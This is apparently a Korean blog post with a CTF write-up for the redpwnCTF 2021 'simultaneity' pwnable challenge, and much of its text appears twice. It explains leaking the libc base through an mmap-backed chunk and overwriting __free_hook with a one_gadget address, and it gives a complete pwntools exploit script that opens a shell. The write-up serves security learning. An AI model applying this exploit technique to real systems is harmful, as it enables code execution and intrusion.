Full RELRO - GOT Overwrite 불가능
NX enabled - 쉘코드를 메모리에 적재해 실행시키는것 불가능
PIE - 주소 랜덤화
1. big?에서 size를 입력 받고 그 size만큼 malloc을 호출
2. here: malloc이 반환한 메모리의 주소 출력
3. far? 다음 scanf("%ld")로 입력 -> 숫자만 입력
4. what? 다음 scanf("%zu")로 입력 -> 숫자만 입력
1. here?에서 top chunk 값보다 큰 값을 입력(예를 들어 10000000)하면 mmap을 사용하여 힙에 할당
2. 청크 주소를 가지고 libc 주소를 알 수 있음.(libc base주소 - chunk 주소 하면 특정 값이 나오는데, 그 값을 chunk에 더하면 libc base 주소)
3. far에서 overwrite 대상이 되는 값(주소, offset)을 입력
4. what?에서 3에 덮어 씌울 값을 입력
실행 결과 heap를 넘어 mmap으로 청크가 할당됨
그리고 여기서 libc_base를 릭할 수 있다.
10000000를 size로 주고 malloc으로 반환된 청크 주소 + 10002416을 하면 libc_base 주소가 될 것이다.
이를 통해 libc_base 주소를 릭하고, offset을 이용하여 함수의 실제 주소를 구할 수 있음
다음 far에서 값을 입력 받는데 %ld라 숫자로 입력을 해줘야함.
이때 FULL RELRO 이기때문에 got_overwrite는 불가능 하지만, _exit에서 free 함수를 호출하기 때문에 __free_hook을 one_gadget으로 덮으면 쉘이 따질것이다.
free 함수를 호출하는 부분
far에서 입력을 받을때 값을 chunk에 저장한다.
그래서 __free_hook의 값을 입력하고 싶으면 __free_hook 주소 - chunk의 주소를 해줘야하는데 이때 함정이 있다.
함정은 what?에서 입력받을때 size*8의 오프셋으로 받기 때문에 // 8을 써줘야 정확하게 값을 입력할 수 있다.
//은 파이썬에서 몫을 구해주는 연산자
다음 what?에서 입력할때 '0'*0x500+원가젯 주소를 입력해줘야 하는데, 이부분에서 왜 '0'*0x500을 입력해주는지 몰랐는데 참조한 블로그를 통해 할게 되었다.
만약 여기서 매우 큰 값을 입력하면 free_hook을 덮을 수 있다.
아래 사진은 '1'*0x500을 입력해서 덮이는지 확인하였고 실제로는 '0'을 입력해줘야 한다.
'0'을 입력하면 메모리는 잡아먹지만 0이기때문에 __free_hook에는 영향을 못미침
rip가 0xffffffffffff으로 덮임 __free_hook이 0xffff~~으로 덮임
그래서 '0'*0x500 + one_gadget주소를 입력해주면 문제 풀이 완료
from pwn import * if args.REMOTE: p = remote('mc.ax', 31547) libc = ELF('./libc.so.6') libc.symbols['gadget'] = [0x4484f, 0x448a3, 0xe5456][1] else: p = process('./simultaneity') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') one_gadget = [0x4484f, 0x448a3, 0xe5456] p.sendlineafter('big?', str(10000000)) # leak_chunks, libc_base p.recvuntil('here: ') leak_heap = int(p.recvline()[:-1], 16) libc.address = leak_heap + 10002416 log.info('libc.address: ' + hex(libc.address)) log.info('libc.sym.__free_hook: ' + hex(libc.sym.__free_hook)) offset = (libc.sym.__free_hook - leak_heap) // 8 log.info('offset: ' + hex(offset)) # input __free_hook to chunk p.sendlineafter('far?\n', str(offset)) # overwrite __free_hook to one_gadget p.sendlineafter('what?\n', str('0'*0x500)+str(one_gadget[1]+libc.address)) p.interactive()
해당 문제를 풀면서 chunk를 통해 libc_base 주소를 릭할 수 있는 점과 top chunk크기 이상으로 할당하면 mmap으로 할당해 준다는것을 알았다.
또한 코드를 정확히 분석해야 함을 느꼈다.
https://sechack.tistory.com/38
redpwnCTF 2021 - simultaneity
트릭모르면 못푸는 문제이다. 나도 문제풀당시에는 트릭을 몰랐어서 너무 오래걸렸었다. 굉장히 심플한 프로그램이다. 하지만 scanf의 서식지정자로 %zu를 줬을때 scanf내부 로직을 모르면 못푸는
sechack.tistory.com
https://github.com/volticks/CTF-Writeups/blob/main/redpwn%202021/Simultaneity/README.md
volticks/CTF-Writeups
If I solve a CTF challenge and do a writeup, it goes here. - volticks/CTF-Writeups
github.com
https://github.com/datajerk/ctf-write-ups/tree/master/redpwnctf2021/simultaneity
datajerk/ctf-write-ups
My write-ups from various CTFs. Contribute to datajerk/ctf-write-ups development by creating an account on GitHub.
redpwnCTF 2021 - simultaneity write-up
대회기간 풀지 못했던 문제이며, writeup을 보고 원리를 이해하며 작성한 글입니다.
Full RELRO - GOT Overwrite 불가능
NX enabled - 쉘코드를 메모리에 적재해 실행시키는것 불가능
PIE - 주소 랜덤화
코드 분석
1. big?에서 size를 입력 받고 그 size만큼 malloc을 호출
2. here: malloc이 반환한 메모리의 주소 출력
3. far? 다음 scanf("%ld")로 입력 -> 숫자만 입력
4. what? 다음 scanf("%zu")로 입력 -> 숫자만 입력
공격 벡터
1. here?에서 top chunk 값보다 큰 값을 입력(예를 들어 10000000)하면 mmap을 사용하여 힙에 할당
2. 청크 주소를 가지고 libc 주소를 알 수 있음.(libc base주소 - chunk 주소 하면 특정 값이 나오는데, 그 값을 chunk에 더하면 libc base 주소)
3. far에서 overwrite 대상이 되는 값(주소, offset)을 입력
4. what?에서 3에 덮어 씌울 값을 입력
분석
그리고 여기서 libc_base를 릭할 수 있다.
10000000를 size로 주고 malloc으로 반환된 청크 주소 + 10002416을 하면 libc_base 주소가 될 것이다.
이를 통해 libc_base 주소를 릭하고, offset을 이용하여 함수의 실제 주소를 구할 수 있음
다음 far에서 값을 입력 받는데 %ld라 숫자로 입력을 해줘야함.
이때 FULL RELRO 이기때문에 got_overwrite는 불가능 하지만, _exit에서 free 함수를 호출하기 때문에 __free_hook을 one_gadget으로 덮으면 쉘이 따질것이다.
far에서 입력을 받을때 값을 chunk에 저장한다.
그래서 __free_hook의 값을 입력하고 싶으면 __free_hook 주소 - chunk의 주소를 해줘야하는데 이때 함정이 있다.
함정은 what?에서 입력받을때 size*8의 오프셋으로 받기 때문에 // 8을 써줘야 정확하게 값을 입력할 수 있다.
//은 파이썬에서 몫을 구해주는 연산자
다음 what?에서 입력할때 '0'*0x500+원가젯 주소를 입력해줘야 하는데, 이부분에서 왜 '0'*0x500을 입력해주는지 몰랐는데 참조한 블로그를 통해 할게 되었다.
만약 여기서 매우 큰 값을 입력하면 free_hook을 덮을 수 있다.
아래 사진은 '1'*0x500을 입력해서 덮이는지 확인하였고 실제로는 '0'을 입력해줘야 한다.
'0'을 입력하면 메모리는 잡아먹지만 0이기때문에 __free_hook에는 영향을 못미침
그래서 '0'*0x500 + one_gadget주소를 입력해주면 문제 풀이 완료
Exploit Code
해당 문제를 풀면서 chunk를 통해 libc_base 주소를 릭할 수 있는 점과 top chunk크기 이상으로 할당하면 mmap으로 할당해 준다는것을 알았다.
또한 코드를 정확히 분석해야 함을 느꼈다.
참조
https://sechack.tistory.com/38
https://github.com/volticks/CTF-Writeups/blob/main/redpwn%202021/Simultaneity/README.md
https://github.com/datajerk/ctf-write-ups/tree/master/redpwnctf2021/simultaneity
'Pwnable' 카테고리의 다른 글